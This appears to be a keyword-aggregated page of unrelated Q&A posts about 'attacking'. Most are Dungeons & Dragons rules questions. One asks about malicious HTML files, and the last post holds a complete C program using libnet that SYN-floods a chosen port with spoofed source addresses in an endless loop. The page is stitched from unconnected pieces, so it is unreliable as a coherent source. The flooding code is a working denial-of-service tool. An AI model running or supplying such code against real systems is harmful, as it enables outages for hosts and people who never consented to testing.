Can a Fathomless Warlock move their Tentacle of the Deeps without attacking?

In Tasha’s Cauldron of Everything, a warlock with the Fathomless patron can summon a Tentacle of the Deeps, whose description includes the line

As a bonus action on your turn, you can move the tentacle up to 30 feet and repeat the attack.

"Can…and" seems to suggest that you must do both: move and attack. "Up to 30 feet" means you could move it 0 feet and repeat the attack, but can you move the tentacle without attacking?

When attacking with Two-Weapon Fighting, can you break up your movement and attack a different target?

When you get the Extra Attack action, you can break up your movement and attack different targets at varying distances from your starting point.

Does the same apply with TWF? As in, can I approach my first target, use my attack action, then move, and use my bonus action to attack a different target?

From PHB 195:

“When you take the Attack action and attack with a light melee weapon that you’re holding in one hand, you can use a bonus action to attack with a different light melee weapon that you’re holding in the other hand.”

The key seems to be how to interpret “when:” either “immediately after” or “whenever (during your turn).”

Ideas on how to handle a denying/unaware team attacking player? [closed]

Short: Right now I’m thinking about our next session and how to handle a PC who has attacked us the second time with an AoE spell. To defend him: he’s denying that he has done it intentionally and even saying that he doesn’t know anything about it.

First: I don’t want/need the best solution, just some ideas – like "how would you react?".

But I will start by describing the whole situation:
We are a group of 5 PC – there are two double-pre-mates and I’m the lonely fifth one. Two sessions ago the fighter in question attacked two of us the first time while we explored a mine occupied by wererats and some following smaller ones. The first small rat attacked him, as he’s always the one going first. Our archer, the rat and I were attacked by black tentacles getting out of the face of our knight and/or the rat – as the rat bite him in his face. The rat was slashed in three parts and the archer and I were lucky enough to dodge. After we cleared the room we surrounded the fighter and asked him what it was, if he has any explanation or why he did it to us. He has only answered that he doesn’t know what it was and he hasn’t done it. We told him that we will watch him and aren’t really trusting him anymore.

Some days (in-game) later we got to an old cathedral occupied by orcs and ogres. We attacked the orcs with the help of the wererats, as the cathedral is the real home of them. While fighting the first ogre (the fighter his accompanying cleric and I) these black tentacles popped up again, this time clearly out of his mouth, and attacked the ogre, an orc, the cleric and me. All were damaged (necrotic) and also prevented reactions for one round as we had to get rid of these tentacles first.
During the fight we haven’t talked about it as there were a lot more orcs than we thought first. The end of our last session was that we have "finished" (we haven’t checked the cathedral – only surrounding) the fight. We’ve lost some wererats and we all are heavily damaged, nearly all spell-slots are used and we have this big-black-mysterium in our group.

As it was the second time, this time we were damaged and we’ve clearly seen that the origin of these tentacles is the fighter we have to react somehow.

My current idea is to call the archer, as he still doesn’t trust the fighter and was betrayed in his past, so he will very likely support me. After this I would like to approach the fighter and "command" him to drop his weapon and get on his knees. I have placed a force-ballista (artificer) during the battle and can use my crossbow. If he doesn’t follow we get to the first problem – if I really attack him he will get very likely unconscious as he has 4HP remaining. Should I? I’m a lawful-neutral/good dwarven artificer, trying to get part of "Hammers of Moradin" and waiting for a sign of Moradin himself that I’m worthy to join the hammers.
So from my perspective it would be possible for my PC to attack a presumably lying, betraying, team-attacking, necromancy casting human fighter.
But in success-case, he’s now on his knees, I would at first arrest/tie him, ask him again in hope that he will talk more about these tentacles and otherwise transport him to the next town to present him to the local guards or similar and get him judged.

Now the question: do you have other ideas? How would you react? Everything is possible/valid response – as I’m pretty new to DnD (it’s my first campaign) and I want to get some ideas about what else could be possible.

Can a barbarian maintain rage by attacking a creature that is not present?

Suppose a raging barbarian does not see any opponents on the battlefield but is attempting to maintain rage by attacking a hostile creature, according to the following:

Your rage lasts for 1 minute. It ends early if you are knocked unconscious or if your turn ends and you haven’t attacked a hostile creature since your last turn or taken damage since then.

If there was a successfully Hidden opponent on the field, the barbarian would be permitted to attack it by guessing its location. Even if they were incorrect, that would be sufficient to maintain their rage.

But how far ‘off’ is the barbarian allowed to be in their guess and still have the attack count?

Suppose the successfully Hidden opponent has actually left the field without the barbarian knowing. Does the fact that the opponent is not actually there prevent the barbarian from making an attack on an unseen opponent?

If yes, and the rage ends, the player then gains information about the fact that the opponent is not present (which seems to go against the spirit of "If the target isn’t in the location you targeted, you automatically miss, but the DM typically just says that the attack missed, not whether you guessed the target’s location correctly.")

If no, and the barbarian is allowed to attack an opponent that is not actually there based on the plausible belief that an opponent is present, then what prevents the barbarian from postulating an opponent who could be there? For example, the barbarian invokes an NPC that has successfully Hidden against the party before – is it enough to maintain rage for the barbarian to say that they believe said NPC is present and Hidden and then attempt to attack them as an Unseen opponent?

Somewhat related: A barbarian’s belief that they are attacking an opponent is not sufficient to maintain rage if what they are attacking is an illusion. So attacking a not-creature that is there is not enough to maintain rage, but is it enough to attack an actual creature that is not there?

Why do all metals corrode when attacking a Rust Monster, yet it itself can only target ferrous metals

When you attack a rust monster, the following may apply:

Rust Metal. Any nonmagical weapon made of metal that hits the rust monster corrodes. […]

So, bronze for example being a metal would corrode.

But the rust monster has the following action:

Antennae. The rust monster corrodes a nonmagical ferrous metal object it can see within 5 feet of it. […]

But seeing as bronze is not ferrous, it cannot be targeted.

What is the lore reason behind this?

Attacking through a malicious HTML file apart from XSS through Javascript

I recently came across a behavior in a web application where the application (through the use of the header ‘Content-Disposition: attachment’) offers to download an HTML file instead of allowing it to get parsed by the browser. Interestingly, the GET requests to the URL that lets you download the HTML page passes the absolute path of the HTML file that will be downloaded – starting all the way from /usr/local....<snip>/public/mypage.html . If an attacker has the privilege to upload an HTML file to this location (public), apart from an XSS attack, what else can he/she do on the machine of a victim who downloads and open the HTML file crafted by the attacker.

I am aware of the XSS attacks , that one can do by injecting some malicious Javascript in the HTML file. Would like to know what else an attacker can get done outside of Javascript XSS attacks.

Does syn flooding affect attacking machine?

I am a beginner in pen testing. I tried syn flooding port 80 of victim but intrestingly attacking machine froze few mins after the attack. I tried it twice and both the times attacking machine froze.Why did it happen? Also I want to know if this has something to do with ram(my attacking machine has 4gb ram)?

I used libnet to code the syn flooding program. Attacking machine is Kali linux(inside virtual box). I targeted my mobile on port 80

    #include<stdio.h>     #include<stdlib.h>     #include<libnet.h>     int main()     {       libnet_t *l;       char errbuf[LIBNET_ERRBUF_SIZE],des_str[16];       u_char packet[]="HELLO";       u_int32_t des_addr;       int des_port,i=0;       int bytes;       printf("Enter destination IP and port : \n");       scanf("%15s",des_str);       scanf("%d",&des_port);       l=libnet_init(LIBNET_RAW4,"eth0",errbuf);       if(l==NULL)       {         printf("Error intialising libnet : %s\n",errbuf);         exit(1);       }       des_addr=libnet_name2addr4(l,des_str,LIBNET_DONT_RESOLVE);       libnet_seed_prand(l);       printf("SYN FLOODING port %d",des_port);       while(1)       {         if(libnet_build_tcp((u_int16_t)libnet_get_prand(LIBNET_PRu16),des_port,(u_int32_t)libnet_get_prand(LIBNET_PRu32),(u_int32_t)libnet_get_prand(LIBNET_PRu32),TH_SYN,(u_int16_t)libnet_get_prand(LIBNET_PRu16),0,0,LIBNET_TCP_H+sizeof(packet),packet,sizeof(packet),l,0)==-1)         {           printf("Error building tcp : %s\n",libnet_geterror(l));           libnet_destroy(l);           exit(1);         }         if(libnet_build_ipv4(LIBNET_TCP_H+LIBNET_IPV4_H+sizeof(packet),0,(u_int16_t)libnet_get_prand(LIBNET_PRu16),0,255,IPPROTO_TCP,0,(u_int32_t)libnet_get_prand(LIBNET_PRu32),des_addr,NULL,0,l,0)==-1)         {           printf("Error building ip : %s\n",libnet_geterror(l));           libnet_destroy(l);           exit(1);         }         bytes=libnet_write(l);         if(bytes==-1)           printf("Error writing packet : %s\n",libnet_geterror(l));         else         {           printf("Packet %d : %d bytes written\n",i++,bytes);         }         libnet_clear_packet(l);       }       libnet_destroy(l);       return(0);     }